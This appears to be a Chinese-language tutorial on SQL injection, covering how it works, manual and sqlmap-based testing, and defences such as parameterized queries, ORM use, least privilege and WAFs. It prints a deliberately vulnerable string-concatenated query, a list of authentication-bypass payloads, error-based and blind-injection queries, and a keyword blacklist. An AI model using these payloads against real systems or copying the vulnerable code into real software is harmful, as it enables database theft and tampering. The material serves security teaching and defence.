米桃安全漏洞讲堂系列第1期:SQL注入漏洞
字数 1831 2025-08-18 11:35:46

SQL注入漏洞全面解析与防御指南

一、SQL注入概述

1.1 漏洞原理

SQL注入(Structured Query Language Injection)是一种攻击者通过构造特殊输入,欺骗服务器执行恶意SQL命令的攻击技术。其本质是对用户输入检查不充分,导致SQL语句将用户提交的非法数据当作语言的一部分来执行。

漏洞示例代码

uname = request.POST['username']
password = request.POST['password']
sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"
database.execute(sql)

攻击示例
当攻击者输入password' OR 1=1时,SQL语句变为:

SELECT all FROM users WHERE username='username' AND password='password' OR 1=1

这将绕过认证,返回所有用户信息。

1.2 漏洞分类

按注入点分类:

  • 数字型注入:注入点为数字类型,如id=1
  • 字符型注入:注入点为字符串类型,通常需要闭合引号

按请求方式分类:

  • GET注入
  • POST注入
  • Cookie注入
  • HTTP Header注入

按回显情况分类:

  • 显注:错误信息直接显示在页面上
  • 盲注:无直接回显,通过条件判断获取信息
    • 布尔盲注
    • 时间盲注

1.3 漏洞危害

  1. 数据泄露:拖库攻击导致敏感数据泄露
  2. 数据篡改:修改数据库内容,导致业务流程异常
  3. 权限提升:获取数据库管理员权限,进而控制服务器
  4. 服务器沦陷:通过写入文件操作植入Webshell

SQL注入漏洞通常被评级为高危或严重级别

1.4 常见注入位置

  • 表单输入(特别是认证表单)
  • 下拉列表
  • URL查询参数
  • HTTP头部字段
  • Cookie值

二、SQL注入测试方法

2.1 手工注入流程

阶段一:发现注入点

判断方法

www.abc.com/index.php?id=2
www.abc.com/index.php?id=2 and 1=1
www.abc.com/index.php?id=2 and 1=2

若第二条请求返回正常,第三条返回异常,则存在注入漏洞。

通用测试payload

' or 1=1
a' or 1=1#
a' or 1=1-- 
1' or '1'='1
1') or ('1'='1
a" or 1=1#
a" or "1"="1
123" or "1"="1
a' OR 1=1 OR '1'='1
a" or 1=1 or "1"="1
#' and 1=1 --
#' and 1=2 --

阶段二:数据库信息搜集

获取数据库信息

-1')and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --  # 获取用户名
-1')and (extractvalue(1,concat(0x7e,(select database()),0x7e))) --  # 获取数据库名

阶段三:盲注猜解技术

数据库名长度猜解

'and(1=if((length(database())=7),1,(select 1 union select 2)))and' '='

数据库名猜解

'and(1=if((mid(database(),§3§,1)='§e§'),1,(select 1 union select 2)))and''='

使用Burp Suite Intruder模块自动化猜解:

  1. 设置位置参数(§3§和§e§)
  2. 第一个参数字典:1-7(数据库长度)
  3. 第二个参数字典:a-z,0-9,_-

2.2 自动化工具注入(Sqlmap)

基本用法

sqlmap.py -u https://example.com/123456.json?serviceName=0 --level=5 --dbs

参数说明

  • --dbs:探测数据库名
  • --level=5:最高探测级别

支持的数据库
MySQL, Oracle, PostgreSQL, SQL Server, Access, DB2, SQLite, Firebird, Sybase, SAP MaxDB

注入技术

  1. 基于布尔的盲注
  2. 基于时间的盲注
  3. 基于报错的注入
  4. 联合查询注入
  5. 堆查询注入

三、SQL注入防御措施

3.1 根本防御方法

1. 参数化查询(预编译语句)

Java正确示例

pst = conn.prepareStatement("select * from user where name= ?");
rs = pst.setString(1, user.getUsername()).executeQuery();

错误示例

String sql="select * from user where name="+Name;
conn.prepareStatement(sql).executeUpdate();  // 仍然存在注入风险

2. 输入验证

白名单验证:只允许特定格式的输入
黑名单过滤:过滤特殊字符和SQL关键字

String badStr = "'|and|exec|execute|insert|select|delete|update|count|drop|*|%|...";

3. 正确使用ORM框架

MyBatis/iBatis注意事项

  • 使用#进行参数化:select * from user where name =#Name#
  • 避免使用$拼接:select * from user where name =$Name$

LIKE语句处理

  • MySQL: CONCAT('%',#param#,'%')
  • Oracle: '%'||#param#||'%'
  • MSSQL: '%'+#param#+'%'

4. 最小权限原则

  • 使用低权限数据库账号
  • 限制应用账号的数据库操作权限

3.2 企业级防护措施

应用上线前防护

  1. 安全开发培训:提高研发人员安全意识
  2. SAST源码扫描:使用Fortify、Checkmarx等工具
  3. IAST灰盒测试:部署Agent监控运行时行为
  4. 渗透测试:黑盒方式发现漏洞

应用上线后防护

  1. WAF防护

    • 拦截常规扫描和攻击
    • 推荐开源WAF:长亭雷池(https://github.com/chaitin/SafeLine)
  2. SRC平台

    • 自建安全应急响应中心
    • 或使用第三方托管平台(漏洞盒子、补天等)
  3. DAST扫描

    • 定期黑盒扫描(Xray、Goby等工具)

四、总结与展望

SQL注入作为OWASP TOP10常客,其危害性不容忽视。防御SQL注入最有效的方式是在开发阶段采用参数化查询等安全编码实践,而非依赖后期的防护措施。

随着技术发展,SQL注入也呈现出新的特点:

  • NoSQL注入风险上升
  • ORM框架不当使用导致的注入
  • 云环境下的新型注入手法

企业应建立完整的安全开发生命周期(SDL),从需求、设计、编码、测试到运维全流程把控,才能有效降低SQL注入风险。

SQL注入漏洞全面解析与防御指南 一、SQL注入概述 1.1 漏洞原理 SQL注入(Structured Query Language Injection)是一种攻击者通过构造特殊输入,欺骗服务器执行恶意SQL命令的攻击技术。其本质是对用户输入检查不充分,导致SQL语句将用户提交的非法数据当作语言的一部分来执行。 漏洞示例代码 : 攻击示例 : 当攻击者输入 password' OR 1=1 时,SQL语句变为: 这将绕过认证,返回所有用户信息。 1.2 漏洞分类 按注入点分类: 数字型注入 :注入点为数字类型,如 id=1 字符型注入 :注入点为字符串类型,通常需要闭合引号 按请求方式分类: GET注入 POST注入 Cookie注入 HTTP Header注入 按回显情况分类: 显注 :错误信息直接显示在页面上 盲注 :无直接回显,通过条件判断获取信息 布尔盲注 时间盲注 1.3 漏洞危害 数据泄露 :拖库攻击导致敏感数据泄露 数据篡改 :修改数据库内容,导致业务流程异常 权限提升 :获取数据库管理员权限,进而控制服务器 服务器沦陷 :通过写入文件操作植入Webshell SQL注入漏洞通常被评级为 高危或严重级别 。 1.4 常见注入位置 表单输入(特别是认证表单) 下拉列表 URL查询参数 HTTP头部字段 Cookie值 二、SQL注入测试方法 2.1 手工注入流程 阶段一:发现注入点 判断方法 : 若第二条请求返回正常,第三条返回异常,则存在注入漏洞。 通用测试payload : 阶段二:数据库信息搜集 获取数据库信息 : 阶段三:盲注猜解技术 数据库名长度猜解 : 数据库名猜解 : 使用Burp Suite Intruder模块自动化猜解: 设置位置参数(§3§和§e§) 第一个参数字典:1-7(数据库长度) 第二个参数字典:a-z,0-9,_ - 2.2 自动化工具注入(Sqlmap) 基本用法 : 参数说明 : --dbs :探测数据库名 --level=5 :最高探测级别 支持的数据库 : MySQL, Oracle, PostgreSQL, SQL Server, Access, DB2, SQLite, Firebird, Sybase, SAP MaxDB 注入技术 : 基于布尔的盲注 基于时间的盲注 基于报错的注入 联合查询注入 堆查询注入 三、SQL注入防御措施 3.1 根本防御方法 1. 参数化查询(预编译语句) Java正确示例 : 错误示例 : 2. 输入验证 白名单验证 :只允许特定格式的输入 黑名单过滤 :过滤特殊字符和SQL关键字 3. 正确使用ORM框架 MyBatis/iBatis注意事项 : 使用 # 进行参数化: select * from user where name =#Name# 避免使用 $ 拼接: select * from user where name =$Name$ LIKE语句处理 : MySQL: CONCAT('%',#param#,'%') Oracle: '%'||#param#||'%' MSSQL: '%'+#param#+'%' 4. 最小权限原则 使用低权限数据库账号 限制应用账号的数据库操作权限 3.2 企业级防护措施 应用上线前防护 安全开发培训 :提高研发人员安全意识 SAST源码扫描 :使用Fortify、Checkmarx等工具 IAST灰盒测试 :部署Agent监控运行时行为 渗透测试 :黑盒方式发现漏洞 应用上线后防护 WAF防护 : 拦截常规扫描和攻击 推荐开源WAF:长亭雷池(https://github.com/chaitin/SafeLine) SRC平台 : 自建安全应急响应中心 或使用第三方托管平台(漏洞盒子、补天等) DAST扫描 : 定期黑盒扫描(Xray、Goby等工具) 四、总结与展望 SQL注入作为OWASP TOP10常客,其危害性不容忽视。防御SQL注入最有效的方式是在开发阶段采用参数化查询等安全编码实践,而非依赖后期的防护措施。 随着技术发展,SQL注入也呈现出新的特点: NoSQL注入风险上升 ORM框架不当使用导致的注入 云环境下的新型注入手法 企业应建立完整的安全开发生命周期(SDL),从需求、设计、编码、测试到运维全流程把控,才能有效降低SQL注入风险。